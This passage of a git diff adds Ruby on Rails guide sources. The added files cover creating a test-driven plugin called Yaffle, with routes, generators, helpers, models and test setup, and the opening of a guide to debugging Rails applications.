+Under certain circumstances if you reopen classes or modules in 'init.rb' you may inadvertently create a new class, rather than reopening an existing class. A better alternative is to reopen the class in a different file, and require that file from `init.rb`, as shown above.
+
+If you must reopen a class in `init.rb` you can use `module_eval` or `class_eval` to avoid any issues:
+
+*vendor/plugins/yaffle/init.rb*
+
+[source, ruby]
+---------------------------------------------------
+Hash.class_eval do
+ def is_a_special_hash?
+ true
+ end
+end
+---------------------------------------------------
+
+Another way is to explicitly define the top-level module space for all modules and classes, like `::Hash`:
+
+*vendor/plugins/yaffle/init.rb*
+
+[source, ruby]
+---------------------------------------------------
+class ::Hash
+ def is_a_special_hash?
+ true
+ end
+end
+---------------------------------------------------
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/custom_route.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/custom_route.txt
new file mode 100644
index 00000000..1fce902a
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/creating_plugins/custom_route.txt
@@ -0,0 +1,69 @@
+== Add a Custom Route ==
+
+Testing routes in plugins can be complex, especially if the controllers are also in the plugin itself. Jamis Buck showed a great example of this in http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2.
+
+*vendor/plugins/yaffle/test/routing_test.rb*
+
+[source, ruby]
+--------------------------------------------------------
+require "#{File.dirname(__FILE__)}/test_helper"
+
+class RoutingTest < Test::Unit::TestCase
+
+ def setup
+ ActionController::Routing::Routes.draw do |map|
+ map.yaffles
+ end
+ end
+
+ def test_yaffles_route
+ assert_recognition :get, "/yaffles", :controller => "yaffles_controller", :action => "index"
+ end
+
+ private
+
+ # yes, I know about assert_recognizes, but it has proven problematic to
+ # use in these tests, since it uses RouteSet#recognize (which actually
+ # tries to instantiate the controller) and because it uses an awkward
+ # parameter order.
+ def assert_recognition(method, path, options)
+ result = ActionController::Routing::Routes.recognize_path(path, :method => method)
+ assert_equal options, result
+ end
+end
+--------------------------------------------------------
+
+*vendor/plugins/yaffle/init.rb*
+
+[source, ruby]
+--------------------------------------------------------
+require "routing"
+ActionController::Routing::RouteSet::Mapper.send :include, Yaffle::Routing::MapperExtensions
+--------------------------------------------------------
+
+*vendor/plugins/yaffle/lib/routing.rb*
+
+[source, ruby]
+--------------------------------------------------------
+module Yaffle #:nodoc:
+ module Routing #:nodoc:
+ module MapperExtensions
+ def yaffles
+ @set.add_route("/yaffles", {:controller => "yaffles_controller", :action => "index"})
+ end
+ end
+ end
+end
+--------------------------------------------------------
+
+*config/routes.rb*
+
+[source, ruby]
+--------------------------------------------------------
+ActionController::Routing::Routes.draw do |map|
+ ...
+ map.yaffles
+end
+--------------------------------------------------------
+
+You can also see if your routes work by running `rake routes` from your app directory.
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/gem.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/gem.txt
new file mode 100644
index 00000000..93f5e0ee
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/creating_plugins/gem.txt
@@ -0,0 +1 @@
+http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins
\ No newline at end of file
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/generator_method.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/generator_method.txt
new file mode 100644
index 00000000..126692f2
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/creating_plugins/generator_method.txt
@@ -0,0 +1,89 @@
+== Add a custom generator command ==
+
+You may have noticed above that you can used one of the built-in rails migration commands `migration_template`. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.
+
+This section describes how you you can create your own commands to add and remove a line of text from 'routes.rb'. This example creates a very simple method that adds or removes a text file.
+
+To start, add the following test method:
+
+*vendor/plugins/yaffle/test/generator_test.rb*
+
+[source, ruby]
+-----------------------------------------------------------
+def test_generates_definition
+ Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root)
+ definition = File.read(File.join(fake_rails_root, "definition.txt"))
+ assert_match /Yaffle\:/, definition
+end
+-----------------------------------------------------------
+
+Run `rake` to watch the test fail, then make the test pass add the following:
+
+*vendor/plugins/yaffle/generators/yaffle/templates/definition.txt*
+
+-----------------------------------------------------------
+Yaffle: A bird
+-----------------------------------------------------------
+
+*vendor/plugins/yaffle/lib/yaffle.rb*
+
+[source, ruby]
+-----------------------------------------------------------
+require "yaffle/commands"
+-----------------------------------------------------------
+
+*vendor/plugins/yaffle/lib/commands.rb*
+
+[source, ruby]
+-----------------------------------------------------------
+require 'rails_generator'
+require 'rails_generator/commands'
+
+module Yaffle #:nodoc:
+ module Generator #:nodoc:
+ module Commands #:nodoc:
+ module Create
+ def yaffle_definition
+ file("definition.txt", "definition.txt")
+ end
+ end
+
+ module Destroy
+ def yaffle_definition
+ file("definition.txt", "definition.txt")
+ end
+ end
+
+ module List
+ def yaffle_definition
+ file("definition.txt", "definition.txt")
+ end
+ end
+
+ module Update
+ def yaffle_definition
+ file("definition.txt", "definition.txt")
+ end
+ end
+ end
+ end
+end
+
+Rails::Generator::Commands::Create.send :include, Yaffle::Generator::Commands::Create
+Rails::Generator::Commands::Destroy.send :include, Yaffle::Generator::Commands::Destroy
+Rails::Generator::Commands::List.send :include, Yaffle::Generator::Commands::List
+Rails::Generator::Commands::Update.send :include, Yaffle::Generator::Commands::Update
+-----------------------------------------------------------
+
+Finally, call your new method in the manifest:
+
+*vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb*
+
+[source, ruby]
+-----------------------------------------------------------
+class YaffleGenerator < Rails::Generator::NamedBase
+ def manifest
+ m.yaffle_definition
+ end
+end
+-----------------------------------------------------------
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/helpers.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/helpers.txt
new file mode 100644
index 00000000..51b4cebb
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/creating_plugins/helpers.txt
@@ -0,0 +1,51 @@
+== Add a helper ==
+
+This section describes how to add a helper named 'WoodpeckersHelper' to your plugin that will behave the same as a helper in your main app. This is very similar to adding a model and a controller.
+
+You can test your plugin's helper as you would test any other helper:
+
+*vendor/plugins/yaffle/test/woodpeckers_helper_test.rb*
+
+[source, ruby]
+---------------------------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+include WoodpeckersHelper
+
+class WoodpeckersHelperTest < Test::Unit::TestCase
+ def test_tweet
+ assert_equal "Tweet! Hello", tweet("Hello")
+ end
+end
+---------------------------------------------------------------
+
+This is just a simple test to make sure the helper is being loaded correctly. After watching it fail with `rake`, you can make it pass like so:
+
+*vendor/plugins/yaffle/lib/yaffle.rb:*
+
+[source, ruby]
+----------------------------------------------
+%w{ models controllers helpers }.each do |dir|
+ path = File.join(File.dirname(__FILE__), 'app', dir)
+ $LOAD_PATH << path
+ ActiveSupport::Dependencies.load_paths << path
+ ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+
+ActionView::Base.send :include, WoodpeckersHelper
+----------------------------------------------
+
+
+*vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:*
+
+[source, ruby]
+----------------------------------------------
+module WoodpeckersHelper
+
+ def tweet(text)
+ "Tweet! #{text}"
+ end
+
+end
+----------------------------------------------
+
+Now your test should be passing, and you should be able to use the Woodpeckers helper in your app.
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/index.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/index.txt
new file mode 100644
index 00000000..19484e28
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/creating_plugins/index.txt
@@ -0,0 +1,52 @@
+The Basics of Creating Rails Plugins
+====================================
+
+A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
+
+ * a way for developers to share bleeding-edge ideas without hurting the stable code base
+ * a segmented architecture so that units of code can be fixed or updated on their own release schedule
+ * an outlet for the core developers so that they don’t have to include every cool new feature under the sun
+
+After reading this guide you should be familiar with:
+
+ * Creating a plugin from scratch
+ * Writing and running tests for the plugin
+ * Storing models, views, controllers, helpers and even other plugins in your plugins
+ * Writing generators
+ * Writing custom Rake tasks in your plugin
+ * Generating RDoc documentation for your plugin
+ * Avoiding common pitfalls with 'init.rb'
+
+This guide describes how to build a test-driven plugin that will:
+
+ * Extend core ruby classes like Hash and String
+ * Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins
+ * Add a view helper that can be used in erb templates
+ * Add a new generator that will generate a migration
+ * Add a custom generator command
+ * A custom route method that can be used in routes.rb
+
+For the purpose of this guide pretend for a moment that you are an avid bird watcher. Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness. First, you need to get setup for development.
+
+
+include::test_setup.txt[]
+
+include::core_ext.txt[]
+
+include::acts_as_yaffle.txt[]
+
+include::migration_generator.txt[]
+
+include::generator_method.txt[]
+
+include::models.txt[]
+
+include::controllers.txt[]
+
+include::helpers.txt[]
+
+include::custom_route.txt[]
+
+include::odds_and_ends.txt[]
+
+include::appendix.txt[]
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/migration_generator.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/migration_generator.txt
new file mode 100644
index 00000000..f4fc3248
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/creating_plugins/migration_generator.txt
@@ -0,0 +1,156 @@
+== Create a generator ==
+
+Many plugins ship with generators. When you created the plugin above, you specified the --with-generator option, so you already have the generator stubs in 'vendor/plugins/yaffle/generators/yaffle'.
+
+Building generators is a complex topic unto itself and this section will cover one small aspect of generators: creating a generator that adds a time-stamped migration.
+
+To create a generator you must:
+
+ * Add your instructions to the 'manifest' method of the generator
+ * Add any necessary template files to the templates directory
+ * Test the generator manually by running various combinations of `script/generate` and `script/destroy`
+ * Update the USAGE file to add helpful documentation for your generator
+
+=== Testing generators ===
+
+Many rails plugin authors do not test their generators, however testing generators is quite simple. A typical generator test does the following:
+
+ * Creates a new fake rails root directory that will serve as destination
+ * Runs the generator forward and backward, making whatever assertions are necessary
+ * Removes the fake rails root
+
+For the generator in this section, the test could look something like this:
+
+*vendor/plugins/yaffle/test/yaffle_generator_test.rb*
+
+[source, ruby]
+------------------------------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+require 'rails_generator'
+require 'rails_generator/scripts/generate'
+require 'rails_generator/scripts/destroy'
+
+class GeneratorTest < Test::Unit::TestCase
+
+ def fake_rails_root
+ File.join(File.dirname(__FILE__), 'rails_root')
+ end
+
+ def file_list
+ Dir.glob(File.join(fake_rails_root, "db", "migrate", "*"))
+ end
+
+ def setup
+ FileUtils.mkdir_p(fake_rails_root)
+ @original_files = file_list
+ end
+
+ def teardown
+ FileUtils.rm_r(fake_rails_root)
+ end
+
+ def test_generates_correct_file_name
+ Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root)
+ new_file = (file_list - @original_files).first
+ assert_match /add_yaffle_fields_to_bird/, new_file
+ end
+
+end
+------------------------------------------------------------------
+
+You can run 'rake' from the plugin directory to see this fail. Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you.
+
+=== Adding to the manifest ===
+
+This example will demonstrate how to use one of the built-in generator methods named 'migration_template' to create a migration file. To start, update your generator file to look like this:
+
+*vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb*
+
+[source, ruby]
+------------------------------------------------------------------
+class YaffleGenerator < Rails::Generator::NamedBase
+ def manifest
+ record do |m|
+ m.migration_template 'migration:migration.rb', "db/migrate", {:assigns => yaffle_local_assigns,
+ :migration_file_name => "add_yaffle_fields_to_#{custom_file_name}"
+ }
+ end
+ end
+
+ private
+ def custom_file_name
+ custom_name = class_name.underscore.downcase
+ custom_name = custom_name.pluralize if ActiveRecord::Base.pluralize_table_names
+ end
+
+ def yaffle_local_assigns
+ returning(assigns = {}) do
+ assigns[:migration_action] = "add"
+ assigns[:class_name] = "add_yaffle_fields_to_#{custom_file_name}"
+ assigns[:table_name] = custom_file_name
+ assigns[:attributes] = [Rails::Generator::GeneratedAttribute.new("last_squawk", "string")]
+ end
+ end
+end
+------------------------------------------------------------------
+
+The generator creates a new file in 'db/migrate' with a timestamp and an 'add_column' statement. It reuses the built in rails `migration_template` method, and reuses the built-in rails migration template.
+
+It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names. This way people using your generator won't have to manually change the generated files if they've turned pluralization off.
+
+=== Manually test the generator ===
+
+To run the generator, type the following at the command line:
+
+------------------------------------------------------------------
+./script/generate yaffle bird
+------------------------------------------------------------------
+
+and you will see a new file:
+
+*db/migrate/20080529225649_add_yaffle_fields_to_birds.rb*
+
+[source, ruby]
+------------------------------------------------------------------
+class AddYaffleFieldsToBirds < ActiveRecord::Migration
+ def self.up
+ add_column :birds, :last_squawk, :string
+ end
+
+ def self.down
+ remove_column :birds, :last_squawk
+ end
+end
+------------------------------------------------------------------
+
+
+=== The USAGE file ===
+
+Rails ships with several built-in generators. You can see all of the generators available to you by typing the following at the command line:
+
+------------------------------------------------------------------
+script/generate
+------------------------------------------------------------------
+
+You should see something like this:
+
+------------------------------------------------------------------
+Installed Generators
+ Plugins (vendor/plugins): yaffle
+ Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration
+------------------------------------------------------------------
+
+When you run `script/generate yaffle` you should see the contents of your 'vendor/plugins/yaffle/generators/yaffle/USAGE' file.
+
+For this plugin, update the USAGE file looks like this:
+
+------------------------------------------------------------------
+Description:
+ Creates a migration that adds yaffle squawk fields to the given model
+
+Example:
+ ./script/generate yaffle hickwall
+
+ This will create:
+ db/migrate/TIMESTAMP_add_yaffle_fields_to_hickwall
+------------------------------------------------------------------
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/models.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/models.txt
new file mode 100644
index 00000000..458edec8
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/creating_plugins/models.txt
@@ -0,0 +1,76 @@
+== Add a model ==
+
+This section describes how to add a model named 'Woodpecker' to your plugin that will behave the same as a model in your main app. When storing models, controllers, views and helpers in your plugin, it's customary to keep them in directories that match the rails directories. For this example, create a file structure like this:
+
+---------------------------------------------------------
+vendor/plugins/yaffle/
+|-- lib
+| |-- app
+| | |-- controllers
+| | |-- helpers
+| | |-- models
+| | | `-- woodpecker.rb
+| | `-- views
+| |-- yaffle
+| | |-- acts_as_yaffle.rb
+| | |-- commands.rb
+| | `-- core_ext.rb
+| `-- yaffle.rb
+---------------------------------------------------------
+
+As always, start with a test:
+
+*vendor/plugins/yaffle/yaffle/woodpecker_test.rb:*
+
+[source, ruby]
+----------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class WoodpeckerTest < Test::Unit::TestCase
+ load_schema
+
+ def test_woodpecker
+ assert_kind_of Woodpecker, Woodpecker.new
+ end
+end
+----------------------------------------------
+
+This is just a simple test to make sure the class is being loaded correctly. After watching it fail with `rake`, you can make it pass like so:
+
+*vendor/plugins/yaffle/lib/yaffle.rb:*
+
+[source, ruby]
+----------------------------------------------
+%w{ models }.each do |dir|
+ path = File.join(File.dirname(__FILE__), 'app', dir)
+ $LOAD_PATH << path
+ ActiveSupport::Dependencies.load_paths << path
+ ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+----------------------------------------------
+
+Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser. Removing directories from the 'load_once_paths' allow those changes to picked up as soon as you save the file - without having to restart the web server. This is particularly useful as you develop the plugin.
+
+
+*vendor/plugins/yaffle/lib/app/models/woodpecker.rb:*
+
+[source, ruby]
+----------------------------------------------
+class Woodpecker < ActiveRecord::Base
+end
+----------------------------------------------
+
+Finally, add the following to your plugin's 'schema.rb':
+
+*vendor/plugins/yaffle/test/schema.rb:*
+
+[source, ruby]
+----------------------------------------------
+ActiveRecord::Schema.define(:version => 0) do
+ create_table :woodpeckers, :force => true do |t|
+ t.string :name
+ end
+end
+----------------------------------------------
+
+Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode.
\ No newline at end of file
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/odds_and_ends.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/odds_and_ends.txt
new file mode 100644
index 00000000..e328c04a
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/creating_plugins/odds_and_ends.txt
@@ -0,0 +1,69 @@
+== Odds and ends ==
+
+=== Generate RDoc Documentation ===
+
+Once your plugin is stable, the tests pass on all database and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
+
+The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:
+
+ * Your name.
+ * How to install.
+ * How to add the functionality to the app (several examples of common use cases).
+ * Warning, gotchas or tips that might help save users time.
+
+Once your README is solid, go through and add rdoc comments to all of the methods that developers will use.
+
+Before you generate your documentation, be sure to go through and add nodoc comments to those modules and methods that are not important to your users.
+
+Once your comments are good to go, navigate to your plugin directory and run:
+
+ rake rdoc
+
+=== Write custom Rake tasks in your plugin ===
+
+When you created the plugin with the built-in rails generator, it generated a rake file for you in 'vendor/plugins/yaffle/tasks/yaffle.rake'. Any rake task you add here will be available to the app.
+
+Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so:
+
+*vendor/plugins/yaffle/tasks/yaffle.rake*
+
+[source, ruby]
+---------------------------------------------------------
+namespace :yaffle do
+ desc "Prints out the word 'Yaffle'"
+ task :squawk => :environment do
+ puts "squawk!"
+ end
+end
+---------------------------------------------------------
+
+When you run `rake -T` from your plugin you will see:
+
+---------------------------------------------------------
+yaffle:squawk # Prints out the word 'Yaffle'
+---------------------------------------------------------
+
+You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up.
+
+=== Store plugins in alternate locations ===
+
+You can store plugins wherever you want - you just have to add those plugins to the plugins path in 'environment.rb'.
+
+Since the plugin is only loaded after the plugin paths are defined, you can't redefine this in your plugins - but it may be good to now.
+
+You can even store plugins inside of other plugins for complete plugin madness!
+
+[source, ruby]
+---------------------------------------------------------
+config.plugin_paths << File.join(RAILS_ROOT,"vendor","plugins","yaffle","lib","plugins")
+---------------------------------------------------------
+
+=== Create your own Plugin Loaders and Plugin Locators ===
+
+If the built-in plugin behavior is inadequate, you can change almost every aspect of the location and loading process. You can write your own plugin locators and plugin loaders, but that's beyond the scope of this tutorial.
+
+
+=== Use Custom Plugin Generators ===
+
+If you are an RSpec fan, you can install the `rspec_plugin_generator` gem, which will generate the spec folder and database for you. See http://github.com/pat-maddox/rspec-plugin-generator/tree/master.
+
diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/test_setup.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/test_setup.txt
new file mode 100644
index 00000000..64236ff1
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/creating_plugins/test_setup.txt
@@ -0,0 +1,230 @@
+== Preparation ==
+
+=== Create the basic app ===
+
+The examples in this guide require that you have a working rails application. To create a simple rails app execute:
+
+------------------------------------------------
+gem install rails
+rails yaffle_guide
+cd yaffle_guide
+script/generate scaffold bird name:string
+rake db:migrate
+script/server
+------------------------------------------------
+
+Then navigate to http://localhost:3000/birds. Make sure you have a functioning rails app before continuing.
+
+.Editor's note:
+NOTE: The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs.
+
+
+=== Generate the plugin skeleton ===
+
+Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either 'CamelCased' or 'under_scored', as an argument. Pass `\--with-generator` to add an example generator also.
+
+This creates a plugin in 'vendor/plugins' including an 'init.rb' and 'README' as well as standard 'lib', 'task', and 'test' directories.
+
+Examples:
+----------------------------------------------
+./script/generate plugin yaffle
+./script/generate plugin yaffle --with-generator
+----------------------------------------------
+
+To get more detailed help on the plugin generator, type `./script/generate plugin`.
+
+Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the `\--with-generator` option now:
+
+----------------------------------------------
+./script/generate plugin yaffle --with-generator
+----------------------------------------------
+
+You should see the following output:
+
+----------------------------------------------
+create vendor/plugins/yaffle/lib
+create vendor/plugins/yaffle/tasks
+create vendor/plugins/yaffle/test
+create vendor/plugins/yaffle/README
+create vendor/plugins/yaffle/MIT-LICENSE
+create vendor/plugins/yaffle/Rakefile
+create vendor/plugins/yaffle/init.rb
+create vendor/plugins/yaffle/install.rb
+create vendor/plugins/yaffle/uninstall.rb
+create vendor/plugins/yaffle/lib/yaffle.rb
+create vendor/plugins/yaffle/tasks/yaffle_tasks.rake
+create vendor/plugins/yaffle/test/core_ext_test.rb
+create vendor/plugins/yaffle/generators
+create vendor/plugins/yaffle/generators/yaffle
+create vendor/plugins/yaffle/generators/yaffle/templates
+create vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb
+create vendor/plugins/yaffle/generators/yaffle/USAGE
+----------------------------------------------
+
+To begin just change one thing - move 'init.rb' to 'rails/init.rb'.
+
+=== Setup the plugin for testing ===
+
+If your plugin interacts with a database, you'll need to setup a database connection. In this guide you will learn how to test your plugin against multiple different database adapters using Active Record. This guide will not cover how to use fixtures in plugin tests.
+
+To setup your plugin to allow for easy testing you'll need to add 3 files:
+
+ * A 'database.yml' file with all of your connection strings
+ * A 'schema.rb' file with your table definitions
+ * A test helper method that sets up the database
+
+*vendor/plugins/yaffle/test/database.yml:*
+
+----------------------------------------------
+sqlite:
+ :adapter: sqlite
+ :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db
+
+sqlite3:
+ :adapter: sqlite3
+ :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db
+
+postgresql:
+ :adapter: postgresql
+ :username: postgres
+ :password: postgres
+ :database: yaffle_plugin_test
+ :min_messages: ERROR
+
+mysql:
+ :adapter: mysql
+ :host: localhost
+ :username: root
+ :password: password
+ :database: yaffle_plugin_test
+----------------------------------------------
+
+For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following:
+
+*vendor/plugins/yaffle/test/schema.rb:*
+
+[source, ruby]
+----------------------------------------------
+ActiveRecord::Schema.define(:version => 0) do
+ create_table :hickwalls, :force => true do |t|
+ t.string :name
+ t.string :last_squawk
+ t.datetime :last_squawked_at
+ end
+ create_table :wickwalls, :force => true do |t|
+ t.string :name
+ t.string :last_tweet
+ t.datetime :last_tweeted_at
+ end
+ create_table :woodpeckers, :force => true do |t|
+ t.string :name
+ end
+end
+----------------------------------------------
+
+*vendor/plugins/yaffle/test/test_helper.rb:*
+
+[source, ruby]
+----------------------------------------------
+ENV['RAILS_ENV'] = 'test'
+ENV['RAILS_ROOT'] ||= File.dirname(__FILE__) + '/../../../..'
+
+require 'test/unit'
+require File.expand_path(File.join(ENV['RAILS_ROOT'], 'config/environment.rb'))
+
+def load_schema
+ config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml'))
+ ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log")
+
+ db_adapter = ENV['DB']
+
+ # no db passed, try one of these fine config-free DBs before bombing.
+ db_adapter ||=
+ begin
+ require 'rubygems'
+ require 'sqlite'
+ 'sqlite'
+ rescue MissingSourceFile
+ begin
+ require 'sqlite3'
+ 'sqlite3'
+ rescue MissingSourceFile
+ end
+ end
+
+ if db_adapter.nil?
+ raise "No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3."
+ end
+
+ ActiveRecord::Base.establish_connection(config[db_adapter])
+ load(File.dirname(__FILE__) + "/schema.rb")
+ require File.dirname(__FILE__) + '/../rails/init.rb'
+end
+----------------------------------------------
+
+Now whenever you write a test that requires the database, you can call 'load_schema'.
+
+=== Run the plugin tests ===
+
+Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in 'vendor/plugins/yaffle/test/yaffle_test.rb' with a sample test. Replace the contents of that file with:
+
+*vendor/plugins/yaffle/test/yaffle_test.rb:*
+
+[source, ruby]
+----------------------------------------------
+require File.dirname(__FILE__) + '/test_helper.rb'
+
+class YaffleTest < Test::Unit::TestCase
+ load_schema
+
+ class Hickwall < ActiveRecord::Base
+ end
+
+ class Wickwall < ActiveRecord::Base
+ end
+
+ def test_schema_has_loaded_correctly
+ assert_equal [], Hickwall.all
+ assert_equal [], Wickwall.all
+ end
+
+end
+----------------------------------------------
+
+To run this, go to the plugin directory and run `rake`:
+
+----------------------------------------------
+cd vendor/plugins/yaffle
+rake
+----------------------------------------------
+
+You should see output like:
+
+----------------------------------------------
+/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb"
+-- create_table(:hickwalls, {:force=>true})
+ -> 0.0220s
+-- create_table(:wickwalls, {:force=>true})
+ -> 0.0077s
+-- initialize_schema_migrations_table()
+ -> 0.0007s
+-- assume_migrated_upto_version(0)
+ -> 0.0007s
+Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader
+Started
+.
+Finished in 0.002236 seconds.
+
+1 test, 1 assertion, 0 failures, 0 errors
+----------------------------------------------
+
+By default the setup above runs your tests with sqlite or sqlite3. To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake:
+
+----------------------------------------------
+rake DB=sqlite
+rake DB=sqlite3
+rake DB=mysql
+rake DB=postgresql
+----------------------------------------------
+
+Now you are ready to test-drive your plugin!
diff --git a/vendor/rails/railties/doc/guides/source/debugging_rails_applications.txt b/vendor/rails/railties/doc/guides/source/debugging_rails_applications.txt
new file mode 100644
index 00000000..4425d924
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/debugging_rails_applications.txt
@@ -0,0 +1,733 @@
+Debugging Rails Applications
+============================
+
+This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:
+
+* Understand the purpose of debugging
+* Track down problems and issues in your application that your tests aren't identifying
+* Learn the different ways of debugging
+* Analyze the stack trace
+
+== View Helpers for Debugging
+
+One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:
+
+* `debug`
+* `to_yaml`
+* `inspect`
+
+=== debug
+
+The `debug` helper will return a
-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
+
+[source, html]
+----------------------------------------------------------------------------
+<%= debug @post %>
+
+ Title:
+ <%=h @post.title %>
+
+----------------------------------------------------------------------------
+
+You'll see something like this:
+
+----------------------------------------------------------------------------
+--- !ruby/object:Post
+attributes:
+ updated_at: 2008-09-05 22:55:47
+ body: It's a very helpful guide for debugging your Rails app.
+ title: Rails debugging guide
+ published: t
+ id: "1"
+ created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+
+Title: Rails debugging guide
+----------------------------------------------------------------------------
+
+=== to_yaml
+
+Displaying an instance variable, or any other object or method, in yaml format can be achieved this way:
+
+[source, html]
+----------------------------------------------------------------------------
+<%= simple_format @post.to_yaml %>
+
+ Title:
+ <%=h @post.title %>
+
+----------------------------------------------------------------------------
+
+The `to_yaml` method converts the method to YAML format leaving it more readable, and then the `simple_format` helper is used to render each line as in the console. This is how `debug` method does its magic.
+
+As a result of this, you will have something like this in your view:
+
+----------------------------------------------------------------------------
+--- !ruby/object:Post
+attributes:
+updated_at: 2008-09-05 22:55:47
+body: It's a very helpful guide for debugging your Rails app.
+title: Rails debugging guide
+published: t
+id: "1"
+created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+Title: Rails debugging guide
+----------------------------------------------------------------------------
+
+=== inspect
+
+Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example:
+
+[source, html]
+----------------------------------------------------------------------------
+<%= [1, 2, 3, 4, 5].inspect %>
+
+ Title:
+ <%=h @post.title %>
+
+----------------------------------------------------------------------------
+
+Will be rendered as follows:
+
+----------------------------------------------------------------------------
+[1, 2, 3, 4, 5]
+
+Title: Rails debugging guide
+----------------------------------------------------------------------------
+
+=== Debugging Javascript
+
+Rails has built-in support to debug RJS, to active it, set `ActionView::Base.debug_rjs` to _true_, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it).
+
+To enable it, add the following in the `Rails::Initializer do |config|` block inside +environment.rb+:
+
+[source, ruby]
+----------------------------------------------------------------------------
+config.action_view[:debug_rjs] = true
+----------------------------------------------------------------------------
+
+Or, at any time, setting `ActionView::Base.debug_rjs` to _true_:
+
+[source, ruby]
+----------------------------------------------------------------------------
+ActionView::Base.debug_rjs = true
+----------------------------------------------------------------------------
+
+[TIP]
+For more information on debugging javascript refer to link:http://getfirebug.com/[Firebug], the popular debugger for Firefox.
+
+== The Logger
+
+It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.
+
+=== What is The Logger?
+
+Rails makes use of Ruby's standard `logger` to write log information. You can also substitute another logger such as `Log4R` if you wish.
+
+You can specify an alternative logger in your +environment.rb+ or any environment file:
+
+[source, ruby]
+----------------------------------------------------------------------------
+ActiveRecord::Base.logger = Logger.new(STDOUT)
+ActiveRecord::Base.logger = Log4r::Logger.new("Application Log")
+----------------------------------------------------------------------------
+
+Or in the +Initializer+ section, add _any_ of the following
+
+[source, ruby]
+----------------------------------------------------------------------------
+config.logger = Logger.new(STDOUT)
+config.logger = Log4r::Logger.new("Application Log")
+----------------------------------------------------------------------------
+
+[TIP]
+By default, each log is created under `RAILS_ROOT/log/` and the log file name is +environment_name.log+.
+
+=== Log Levels
+
+When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the `ActiveRecord::Base.logger.level` method.
+
